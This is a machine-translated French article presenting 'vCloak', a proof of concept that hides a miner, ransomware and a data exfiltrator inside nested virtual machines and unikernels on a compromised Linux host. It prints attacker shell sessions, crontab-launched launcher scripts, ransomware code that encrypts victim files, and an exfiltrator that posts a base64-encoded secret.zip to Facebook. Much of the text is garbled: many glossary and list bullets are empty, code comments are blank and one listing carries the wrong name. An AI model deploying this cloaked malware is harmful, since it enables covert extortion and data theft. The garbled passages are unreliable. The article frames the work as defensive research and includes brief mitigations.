Clever Geek Handbook

Camouflage virtuel: une approche malveillante de la virtualisation





La virtualisation est une arme à double tranchant Le 



développement victorieux du cloud ces dernières années peut être attribué à l'amélioration progressive de nombreuses technologies à la fois, liées à la fois au matériel et au logiciel. Mais la technologie la plus connue est peut-être celle dans laquelle ces deux domaines convergent: nous parlons de virtualisation. En termes simples, la virtualisation consiste à extraire les composants matériels (par exemple, le processeur, la mémoire, les lecteurs de disque, etc.) et à les représenter dans une couche logicielle plus dynamique que le matériel et mieux évolutive. Cette caractéristique clé de la virtualisation se prête à la création de services en ligne sur mesure, fiables, hautement disponibles et à la demande - aujourd'hui appelés cloud.   



Cependant, il y a un côté sombre à cette grande technologie axée sur le paradigme. Certains fournisseurs de cloud bénéficient depuis des années de l'abstraction fournie par la virtualisation et utilisée pour vous protéger, et il y a des attaquants qui ont vite compris comment la virtualisation pouvait être retournée contre vous. Ces dernières années, certaines menaces ont été observées - certaines ne sont pensées que conceptuellement, d'autres sont déjà rencontrées en pratique - utilisées dans des intrusions pour masquer une activité malveillante. Il s'agit de «virtualisation destructive» ou, comme nous l'appelons, de «camouflage virtuel».  



Dans cet article, nous allons explorer qui pourrait être la proie de ces tactiques, fournir un aperçu des recherches visant à comprendre ce segment de menaces, en tenant compte des dernières techniques de virtualisation, en examinant en détail «vCloak» (camouflage virtuel) pour Linux . Il s'agit d'un projet PoC commercialisé comme une «preuve de faisabilité». Nous allons créer des malwares camouflés à plusieurs niveaux, discrets et minimalistes, mais qui ont toujours la portabilité, la persistance et la fiabilité que la virtualisation est utilisée. Nous voulons dissiper les mythes entourant ce nouveau vecteur d'attaques et vous aider à mieux comprendre le fonctionnement de ce nouveau vecteur d'attaques, et expliquer comment un attaquant peut utiliser la virtualisation comme une arme. Prenez le temps de terminer la lecture:En prime, nous discuterons également de certains des moyens d'atténuer la nocivité de ces attaques.





Comme mentionné ci-dessus, la virtualisation est un acte d'abstraction du matériel. Mais pour mieux comprendre le contenu de cet article, vous devez approfondir un peu le sujet. Alors, passons rapidement au moment à partir duquel l'ère de la virtualisation a commencé. L'idée de virtualiser le matériel n'est pas nouvelle; Ses racines remontent aux années 1960, quand IBM a mis beaucoup d'efforts dans un nouveau concept appelé temps partagé (Figure 2). Dans sa forme la plus simple, le concept se résume à ceci: les utilisateurs peuvent partager un processeur grâce à une ultra- changement de contexte rapide. Il a été possible d'arriver à cette idée, en constatant que chaque utilisateur n'a le temps de consommer qu'une petite fraction du potentiel de tout l'ordinateur. Considérant,qu'à cette époque, un ordinateur occupait une pièce entière et coûtait environ 20 millions de dollars (ajusté en fonction de l'inflation), il semblait souhaitable de l'utiliser au maximum. La virtualisation moderne est basée sur le même principe: partager les ressources de la machine, mais maintenir une séparation logique.





Figure. 1: Le tableau de bord IBM 7094, où le concept de partage de temps a été implémenté pour la première fois ( Image appartenant à l'utilisateur de Wikipedia ArnoldReinhold , sous licence  Creative Commons BY-SA 3.0 )



Comment la virtualisation moderne a commencé



L'article « Exigences formelles pour les architectures virtualisables de troisième génération » («Exigences formelles architectures virtualisables de troisième génération»)  Gerald Popek et Robert Goldberg ont présenté le premier modèle bien défini de virtualisation, jeté les bases des concepts utilisés à ce jour (Figure 3 ). Cet article a introduit certaines exigences de base pour la virtualisation et a classé et analysé diverses instructions de la machine. Ci-dessous, dans un format de feuille de triche, un aperçu des concepts susmentionnés est donné.





1971 Représentation // Comment la virtualisation a été vu en 1971



moderne Représentation // moderne



VMM Représentation // machine virtuelle



Matériel Moniteur //



VM matériel // Virtual machine



Applications //



Système d' exploitation Applications //



machine virtuelle du système d' exploitation //



machine virtuelle Moniteur / / Virtual Machine Monitor Machine



physique / Matériel // Machine physique / Matériel



Figure 2: Comparaison: vue Popeck vs Goldberg vs vue généralisée moderne (tirée de  usenix )



Glossaire de virtualisation



  • /VMM ( ) –  «», : , . 
  • - – ( ), VMM
  • /VM/ – , , machine VMM
  • :
  • ( 0 – 3) ,  
  • ( 0) ( 3) VM VM/VMM
  •  (CPL),  CS ( )  ,  DPL ( ),  
  • :
  • , 0
  • (HLT, LIDT)
  • (INVLPG)
  • /   (RDMSR, WRMSR, MOV CRx)
  • OS
  •   — MMIO (- ) / (IN/OUT, MOV   <MEMORY_MAPPED_REGISTER>)

    - , (POPF)

    VM

  •  –  
  •  – , «»   
  • :
  • , ,   
  • - ,  
  • :
  • , API-  
  • , ,  
  •  –
  •  
  • , (., x86 vs AMD)




Figure 3: Types de virtualisation de



virtualisation //



Hyperviseurs Bare Metal //



Hyperviseurs Bare Metal // Hyperviseurs hébergés //



Émulateurs d' hyperviseurs d'hôte // Émulateurs de



virtualisation matérielle // Virtualisation matérielle



Compréhension intuitive de la virtualisation



Le glossaire ci-dessus, comme toute feuille de triche, manque de contexte pour l'exhaustivité de la perception, mais il y a beaucoup de mots à la mode (voir Fig. 4). Nous essaierons de résumer le plus important de ces éléments, en sacrifiant certains détails pour plus de clarté. Comme vous pouvez le voir dans le glossaire, l'une des parties les plus difficiles du travail de virtualisation est la gestion des instructions privilégiées / sensibles. 



Les instructions privilégiées sont celles qui permettent à l'appelant de prendre le contrôle des ressources critiques. Ils sont essentiels pour protéger le système contre les activités malveillantes et les programmes incontrôlés de l'espace utilisateur. Il s'agit, par exemple, des instructions HLT (contrôle du flux d'exécution dans le CPU avec possibilité de suspension), de l'effet sur le mappage mémoire en invalidant les enregistrements de page dans le tampon associatif de traduction  (INVLPG), ou de l'accès à des registres spéciaux (RDMSR) , WRMSR, MOV CR). Les instructions privilégiées peuvent accorder un accès illimité à la machine hôte (par exemple, le contrôle de tous les gestionnaires d'interruptions ).



Les instructions sensibles peuvent être interprétées comme des instructions privilégiées «du point de vue» de l'invité. Celles-ci incluent des opérations telles que l'interaction avec des dispositifs d'entrée / sortie (IN / OUT), l'écriture dans des registres mappés en mémoire (MOV) ou des instructions qui fonctionnent différemment selon l'anneau de protection exécuté; tel est, par exemple, l'écriture dans le registre EFLAGS  (POPF). Les instructions sensibles peuvent accorder un accès illimité à la machine invitée (par exemple, écrire directement sur des périphériques d'E / S et obtenir des privilèges d'hôte). 



Les anneaux de protection sont utilisés pour intercepter les instructions privilégiées et activer le noyau pour traiter leur exécution. Cependant, il n'y a pas si longtemps, il n'y avait pas de support matériel pour ce type de collecte d'instructions sensibles, ce qui n'est pas nécessairement un danger pour l'hôte, mais pour l'invité, c'est toujours un point de défaillance. Des techniques logicielles telles que l'émulation utilisant la traduction binaire statique ou dynamique ou la paravirtualisation via la modification de l'invité sont utilisées, mais au prix d'une dégradation sévère des performances / flexibilité.  



En guise de solution, la prise en charge matérielle des instructions sensibles a été introduite en ajoutant un autre anneau de sécurité (également appelé «anneau 1» ou «mode admin»). Cette pratique s'est généralisée en 2005 et 2006, lorsque Intel et AMD ont introduit respectivement  VT-x  et  AMD-V . L'optimisation était initialement très simple et peu d'opérations de virtualisation étaient assistées par matériel. Mais bientôt, ce support s'est étendu à de nombreuses autres opérations, notamment la  virtualisation de l'unité de gestion de la mémoire (MMU).... La virtualisation assistée par matériel est désormais la solution préférée en raison de ses avantages opérationnels et de sa sécurité accrue, tout en maintenant les coûts de performance au minimum - inestimable dans le cloud. 



Virtualisez et protégez





Figure 4: Pile KVM-QEMU et flux correspondant (Image fournie par l'utilisateur Wikipédia  V4711 , sous licence  Creative Commons BY-SA 4.0 )



La justification la plus importante de la virtualisation est de tirer le meilleur parti de vos ressources, tout en gardant vos ressources en sécurité et isolées les unes des autres. Les hyperviseurs modernes, équipés des dernières capacités logicielles et matérielles, vous permettent de créer une variété de machines virtuelles isolées; des systèmes d'exploitation classiques complets (par exemple Ubuntu) aux MicroVM minimaux modernes exécutant des noyaux légers (par exemple Firecracker + OSv). L'isolement des ressources telles que la mémoire, les périphériques du système de fichiers et le noyau protège à la fois la VM hôte et les autres VM invitées contre l'intrusion d'une VM invitée compromise.



Par exemple, si un exploit du noyau était exécuté avec succès sur une VM invitée et qu'un attaquant obtenait des droits d'administrateur sur celle-ci, il ne briserait toujours pas l'isolement. S'il n'y a pas de vulnérabilité d'hyperviseur, la VM hôte et les autres VM invitées ne seront pas affectées par l'intrusion, car elles et la machine compromise ont des noyaux différents. Comme toute autre stratégie de sécurité, la virtualisation ne résout pas tous les problèmes; la virtualisation est associée à des vecteurs d'attaque uniques qui lui sont propres. Voici quelques exemples d'attaques spécifiques visant spécifiquement les vulnérabilités de virtualisation:



  • Pilotes et partage (Figure 5, cercle n ° 1):
  • Instantanés (Figure 5, cercle n ° 2):
  • Évasion du bac à sable (Figure 5, cercle n ° 3):
  • Types de vulnérabilités:




Virtualisez et attaquez



Bon nombre des principes de base qui font de la virtualisation une approche défensive aussi efficace et polyvalente peuvent être transformés en armes. L'idée elle-même n'est pas nouvelle, des études sur ces menaces ont déjà été menées. On peut citer Bashware , qui a montré comment WSL (une solution virtualisée pour exécuter un sous-système Linux sous Windows) pouvait être adopté pour cacher les malwares de tous les mécanismes de défense modernes.



Le 14 mai 2020, cette théorie a été bien confirmée dans la pratique, lorsque la nouvelle a inondé de rapports faisant état d'une nouvelle souche de ransomware appelée " RagnarLocker. " Ses victimes étaient de grandes entreprises opérant dans le domaine des jeux, de l'énergie et de l'alcool. Une petite VirtualBox, fiable et signée numériquement, exécutait une petite machine virtuelle Windows XP (moins de 500 Mo), ce qui lui permettait de crypter et d'extraire secrètement des données de la machine de la victime. Plus tard cette année-là, le cartel Maze a suivi à peu près la même stratégie .



Toutes les attaques décrites ci-dessus ont utilisé VirtualBox  et sont assez lourdes en tant que conteneur pour les logiciels malveillants. De plus, il ne repose pas sur les avantages de la virtualisation assistée par matériel . Avant de plonger dans le sujet, examinons de plus près les aspects qualitatifs de la virtualisation dont un attaquant peut tirer parti:



  •  – ,
  •  – , , , ,  
  •  — VM
  • « SSL-» – MicroVM , ( SSL MITM)
  •  – , , ,  
  •  — ,
  • – ,  
  •  – , (»ShadowBunny«)
  • – ,  


Avec une invasion majeure, la virtualisation a un avantage. Les suggestions peuvent être résumées comme une unité d'exécution fiable et utilisées pour effectuer des opérations susceptibles de susciter des soupçons dans un contexte différent, par exemple, exécuter discrètement du code malveillant et voler des données. Ces avantages persistent car la technologie de virtualisation est encore assez récente et cet aspect sombre de la virtualisation ne reçoit pas l'attention qu'il mérite. Comme mentionné dans l'introduction de cet article, nous essaierons ici de vous fournir des informations et des outils pour vous aider à vous défendre contre de telles menaces. Pour ce faire, considérez le problème du point de vue de l'attaquant et développez une preuve de la faisabilité d'une telle intrusion grâce à la virtualisation étape par étape.



Virtualisation assistée par matériel et KVM



La fonctionnalité de sabotage de notre projet de formation est mise en œuvre en grande partie à l'aide d'un hyperviseur situé à la fois dans l'espace noyau et dans l'espace utilisateur. Dans cette recherche, nous avons expérimenté des implémentations gratuites; une analyse détaillée de leur structure interne dépasse le cadre de ce poste.



En termes simples, la virtualisation assistée par matériel est possible grâce à deux modes de processeur supplémentaires (privilèges d'administrateur pour VMM et leur absence pour un invité), ainsi qu'à des instructions Intel spéciales écrites en assembleur (pour une interception efficace), qui sont principalement exécutées par le noyau . Voici quelques exemples:



Mode Administrateur



  • VMXOFF, VMXON
  • VMWRITE et VMREAD


Mode non privilégié (invité)



  • VMLUANCH et VMRESUME


VMLUANCH est organisé un peu différemment, car il peut être exécuté à partir de la VM invitée afin de céder le contrôle au noyau, ou en passant au noyau en utilisant une interruption (dont nous avons déjà parlé dans l'introduction) ou VMEXIT. La tâche de son partenaire d'espace utilisateur est d'allouer toutes les structures de mémoire, de définir les gestionnaires VMEXIT en fonction des différents besoins de VMEXIT et d'attacher d'autres ressources émulées / virtualisées.



Heureusement, pour ceux qui ne veulent pas tout construire à partir de zéro, le noyau Linux moderne prend en charge KVM (kvm.ko); ce module du noyau transforme en fait le noyau Linux en un hyperviseur. KVM fournit des capacités Intel VT-x via l'interface ioctl (2). KVM utilise également activement les capacités intégrées du noyau Linux pour gérer les sandbox, qui (dans la version renforcée) sont mieux connues sous le nom de machines virtuelles.



Historique des attaques



Une telle attaque implique l'utilisation privilégiée d'une machine hôte Ubuntu compromise sur laquelle VT-x est activé. L'attaque utilise des charges d'informations malveillantes (mineurs et ransomwares), s'exécutant de manière invisible sur un hôte compromis, caché derrière un déguisement virtuel créé par soi-même (Figure 6)



  1. Un processus privilégié forks et décompresse "vCloak1" dans un processus enfant (supposé)
  2. «VCloak1» configure et exécute le niveau L1 de notre camouflage, la machine virtuelle Ubuntu Minimal sur QEMU.
  3. Depuis Ubuntu "vCloak2" configure et exécute la couche 2 (L2) de notre camouflage, ce sont les trois applications OSv (expliquées ci-dessous ...):


 

Il est temps de retrousser vos manches! Pour une meilleure lisibilité, nous allons ignorer certains extraits de code et en détailler d'autres. Nous vous invitons à explorer pleinement le code de cette implémentation, ainsi que les outils et informations associés. tout cela se trouve dans le référentiel, dont le lien est donné ci-dessous.







Figure 5: Progression de l'attaque



Préparation du camouflage pour le niveau 1



Construisons vCloak1, qui nous permettra d'effectuer le premier niveau de notre camouflage. Utilisons une machine virtuelle minimale pour Ubuntu (nous pourrions tout aussi bien avoir  compilé Ubuntu pour pétard ) avec QEMU. Cette étape est implémentée à l'aide de vcloak1.sh, qui est automatiquement exécutée par le point d'entrée supposé privilégié:  



attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

#   virtio,     

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ #    Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh #    ,




Listing 1: Construire un camouflage virtuel de niveau 1, Ubuntu minimal sur QEMU avec des virtiofs



À ce stade, nous avons atteint la première frontière de la virtualisation. Une fois vCloak1 chargé, il exécute vCloak2, configurant et exécutant le deuxième niveau de notre camouflage.



Préparation du camouflage pour le niveau 2 



vCloak2 exécute le noyau VT-x avec un câblage système minimal (Unikernel) depuis la machine virtuelle. Ainsi, notre VM invitée de niveau 1 doit également prendre en charge KVM et VT-x (c'est facile à tester; voir le Listing 2), afin de pouvoir servir de machine hôte autonome. Cette fonctionnalité récursive est connue sous le nom de virtualisation imbriquée.  



attacker@vcloak1:~/PoC$ lsmod | grep kvm #   KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel


Listing 2: Vérification du KVM et construction du niveau 2 de notre camouflage Le



deuxième niveau de notre camouflage est implémenté sous la forme d'un script vcloak2.py, qui est automatiquement exécuté par la tâche crontab. Il exécute trois machines virtuelles de pétards différentes qui peuvent communiquer sur une socket partagée. Chaque VM exécute un noyau Unikernel, passé en tant que «kernel.elf», avec un seul processus s'exécutant à partir du répertoire racine («/») du système de fichiers, passé en tant que «fs.img». Ci-dessous, nous expliquerons la nature de ces processus, mais pour l'instant, nous allons simplement décrire la configuration initiale et l'exécution d'une machine virtuelle typique avec la technologie du pétard. 



attacker@vcloak1:~$ cat vcloak2.py #       crontab

def main(options):

# ,   firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker ,   

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

#  ,         

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update


Listing 3: vcloak2.py exécute trois conteneurs VT-x



Jusqu'à présent, d'accord, mais que sont ces instances de pétards en cours d'exécution? Pour semer l'histoire de l'attaque, il a déjà été mentionné qu'ils exécutent des applications OSv . OSv est un noyau unikernel modulaire gratuit, polyvalent, conçu pour prendre en charge en toute sécurité une seule  application Linux non modifiée en tant que microVM au-dessus d'un hyperviseur, ce qui donne un noyau minimal compatible binaire avec Linux. Des solutions telles qu'OSv sont, par rapport à MicroVM, la prochaine étape vers le minimalisme; lorsqu'un noyau unikernel est créé pour chaque application, une application OSv est obtenue avec un noyau compressé à sec.



Voyons à quel point il est facile de créer une application OSv à partir de code C ++ natif: 



attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code


Listing 4: Construire et exécuter un programme C simple avec OSv comme wrapper



De même, vous pouvez créer une application OSv en Python: 



In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42) 

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>




Listing 5: Construire et exécuter un programme python simple avec OSv comme wrapper 



Comme brièvement démontré ci-dessus, OSv est un moyen puissant et facile de transformer des applications courantes en applications Unikernel. Combiné avec une micro-machine virtuelle comme Firecracker (ou même des options de virtualisation matérielle plus petites), crée une charge utile virtualisée minimale mais haute performance. En savoir plus sur cet excellent produit sur la page OSv GitHub . A ce stade, il ne nous reste plus qu'à écrire le code python nécessaire pour chacune des trois applications OSv, comme nous l'avions promis.





Figure 6: La virtualisation imbriquée peut parfois être un peu déroutante 



Virtualisation imbriquée



Nous avons regardé comment notre camouflage a été créé couche par couche et retracé le déploiement des logiciels malveillants de la première exécution privilégiée à la création de nombreux noyaux Unikernel minimaux formant la deuxième couche de notre camouflage. Ces noyaux Unikernel (niveau 2) sont virtualisés à l'aide de VT-x, KVM et pétard au-dessus d'une autre machine virtuelle exécutant Ubuntu (niveau 1), bien que le pétard puisse également être utilisé à ce niveau.



Cet état "rudimentaire" est réalisable grâce à la virtualisation imbriquée, une fonctionnalité prise en charge par KVM. Cette virtualisation permet à la machine invitée d'agir en tant que machine hôte. Dans cet article, j'ai utilisé le terme «niveau de camouflage» de manière assez vague, de sorte que la signification de ce terme peut être plus claire si nous le comparons aux termes KVM pour décrire la virtualisation imbriquée (c'est-à-dire que L1 est une machine virtuelle fonctionnant à partir d'un hôte physique; L2 est une machine virtuelle exécutée à partir de la machine invitée L1).



Création de mineur



Au cours des études décrites, de nombreuses tentatives ont été faites pour déguiser, à la fois des mineurs open source ont été créés, adaptés à un usage réel, et des outils minimalistes de ce genre, qui ne peuvent que servir de preuve de faisabilité. Pour plus de simplicité, nous présenterons rapidement un mineur open source développé par subhan-nadeem : 



attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #   

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

#     (  ,  ,  ,  ,   )

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

#   –    ,   -      

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

#   

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1




Listing 6: Extraits de code du mineur



Générer le code du ransomware

Tout comme dans le cas des mineurs, de nombreuses solutions ont été testées pour le rôle de ransomware. Mais par souci de clarté, nous allons jeter un coup d'œil à la version PoC du ransomware de guihermej : 



attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #   

#  

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

#  

#os.remove(file_name)

#    (  AES)

key = «0123456789abcdef» # 16-  –    

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

#  

new_file_name = file_name + «.pyransom» # ,   

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()




Listing 7: Extraits de code du ransomware



Créer un extracteur



La tâche de ce composant est simple. Il écoute les entrées du mineur ou du ransomware, puis les envoie en toute sécurité à une API de confiance (par exemple Facebook). Dans cette partie, nous obtenons le soi-disant "épinglage de certificat SSL gratuit". Encore une fois, nous allons résoudre les tâches qui nous attendent en utilisant la puissance de l'open source. Cette fois, nous basons notre code sur un projet GitHub de zone13 . 



attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #   

import facebook, time, base64, textwrap

def main():

cfg = {

#       ,   

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

#  zip-         base-64

msg = file_read_into_array()

# ,    

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

#   base-64    50 000   

file_array = textwrap.wrap(msg, 50000)

#     Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

#    zip-   base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

#       Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()


Listing 8: Extraits de code de l'extracteur



Répétition et analyse



Répétons ce que nous avons fait. Comme preuve de faisabilité, nous avons écrit un code malveillant qui extrait, crypte et pêche les données de l'hôte affecté. La charge utile principale forme la première couche de camouflage (ou de virtualisation) avec une machine micro-virtuelle basée sur Ubuntu en laquelle l'hôte fait vraisemblablement confiance.



Désormais, la mémoire de tous les différents processus sera représentée comme une seule goutte binaire aplatie. Tous les appels d'API et l'écosystème OS inclus dans MicroVM sont invisibles de l'extérieur. Les certificats MicroVM ne reflètent pas la configuration de l'hôte, ces certificats sont masqués à l'hôte (en particulier, cela vous permet de vous cacher des outils d'analyse du trafic utilisant la protection SSL MITM).





Figure 7: La pile logicielle vCloak; des lignes colorées indiquent les limites des zones de virtualisation individuelles. 



Une fois que MicroVM aura terminé le processus de démarrage, il chargera trois noyaux Unikernel différents basés sur VT-x et Firecracker, et ces noyaux contiendront une logique malveillante. Avec l'aide de tels noyaux Unikernel, un autre niveau de chaos est introduit dans le modèle de mémoire, non seulement parce qu'une autre couche de virtualisation est ajoutée ici, mais aussi parce que l'espace utilisateur et l'espace noyau ne sont pas séparés l'un de l'autre dans le noyau Unikernel. Toute cette distorsion complique sérieusement le travail de l'opérateur de la première machine hôte, qui découvre la première couche de camouflage et veut inverser sa logique.



Le malware multicouche dégagé qui en résulte est non seulement plus insidieux que jamais, mais aussi de taille minimale et donc hautement portable. Étant donné que la machine virtuelle fournit tout l'environnement, il y a moins de risques d'échec en raison de problèmes de calculabilité ou de dépendance.



Recherche et optimisation plus poussées





Figure 8:



Tableau d' auto-test Le tableau ci-dessus montre les différentes techniques (colonnes de la figure 9), organisées par aspect de l'attaque et la pertinence d'un vecteur d'attaque particulier (première ligne de la figure 9). Les techniques discutées dans cet article sont répertoriées dans les cellules vertes, et les autres angles que nous avons également abordés au cours de l'étude sont répertoriés dans les cellules blanches. Avant d'essayer de donner quelques conseils et de conclure cet article, jetons un coup d'œil au «durcissement» de nos malwares en utilisant les techniques mentionnées dans les cases blanches du tableau ci-dessus (Figure 8).



  •  Extracteur de mémoire partagée - Vous pouvez configurer l'extracteur pour qu'il partage la mémoire avec les logiciels malveillants et ne brille donc pas autant sur les données partagées.
  •  – - , .
  •  – , , xmrig GonnaCry, .
  •  – vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
  •  – firecracker, , .
  •  – KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
  •  – , , , MAP_EXCLUSIVE, SGX SVE\SME .
  • Étendue de l'attaque contre un hôte  - nous n'utilisons pas de telles opportunités, car leur discussion dépasse le cadre de cet article. Certes, il existe des vulnérabilités connues qui rendraient le camouflage encore plus efficace.


Enfin, on ne peut manquer de mentionner: bien que cela ne s'applique pas aux objectifs de cette étude, il s'est avéré qu'il est d'autant plus pratique de travailler avec des hyperviseurs, car ces programmes sont populaires, ils sont connus pour avoir de nombreuses vulnérabilités, et la fréquence des mises à jour des hyperviseurs varie. Les vulnérabilités de l'hyperviseur peuvent être exploitées pour améliorer les performances de camouflage. La course entre les attaquants et les gardes du réseau est sans compromis et implacable. Nous espérons que les informations fournies dans cet article aideront un peu les lecteurs à entrer dans le sujet.  



Instruments



Lors de mes recherches sur la virtualisation, j'ai créé plusieurs outils qui m'ont aidé dans cette recherche:





Éliminer la menace



L'univers des machines virtuelles et des systèmes d'exploitation se développe rapidement, avec de nouvelles capacités logicielles et matérielles émergeant en même temps. L'étude de ces nouvelles fonctionnalités dans une perspective de déploiement de logiciels malveillants peut aider les



équipes de cybersécurité. Éliminer certains des comportements malveillants masqués par la virtualisation est un défi car rien n'est visible dans l'espace virtualisé. Il existe plusieurs moyens de mettre en évidence ces angles morts, mais il n'existe actuellement aucune solution standard ou native de ce type. Cependant, si vous examinez toute la chaîne d'attaque, vous pouvez trouver des contre-mesures très efficaces pour contrer la virtualisation malveillante.  



Que peut-on faire / ressources disponibles:





Partiellement disponible ou non disponible:



  • Visibilité à l'intérieur de l'état de la machine virtuelle
  • Créer un moniteur de machine virtuelle
  • Identifier les anomalies dans la consommation des ressources de l'hôte par une machine virtuelle 


Conclusion



La virtualisation est cool! De nombreux éléments innovants reposent sur l'abstraction fournie par la virtualisation, tels que les nuages, les machines d'extrémité et même les dernières voitures. La virtualisation améliore les performances et la sécurité en général, mais elle a également un côté sombre. Comme l'ont montré de récentes attaques dans le monde réel, et comme indiqué dans cet article, un attaquant peut tirer parti de nombreuses fonctionnalités de la virtualisation. L'utilisation des dernières technologies, en particulier VT-x et le sandboxing minimaliste, rend la virtualisation encore plus subtile. 



Le but de vCloak est de fournir une introduction pratique au problème de la façon dont la virtualisation peut être utilisée pour déployer de manière invisible des logiciels malveillants, afin que les utilisateurs soient conscients de ces types de menaces et puissent se défendre contre eux.



L'article mentionne également certaines des méthodes pour éliminer ces menaces qui sont disponibles aujourd'hui, ainsi que des solutions prévues pour l'avenir. Une opportunité importante qui devrait être mise en œuvre pour faire de la protection contre la virtualisation malveillante une tâche plus difficile est d'augmenter la transparence des processus se déroulant dans la machine virtuelle, ainsi que de veiller à une neutralisation efficace des menaces. L'industrie de la cybersécurité développe et suit le rythme des solutions modernes de virtualisation, mais il est maintenant temps de se méfier de ces menaces et de créer une protection contre elles à l'avance.





Les serveurs cloud de Macleod sont rapides et sécurisés.



Inscrivez-vous en utilisant le lien ci-dessus ou en cliquant sur la bannière et bénéficiez d'une remise de 10% pour le premier mois de location d'un serveur de toute configuration!





More articles:


All Articles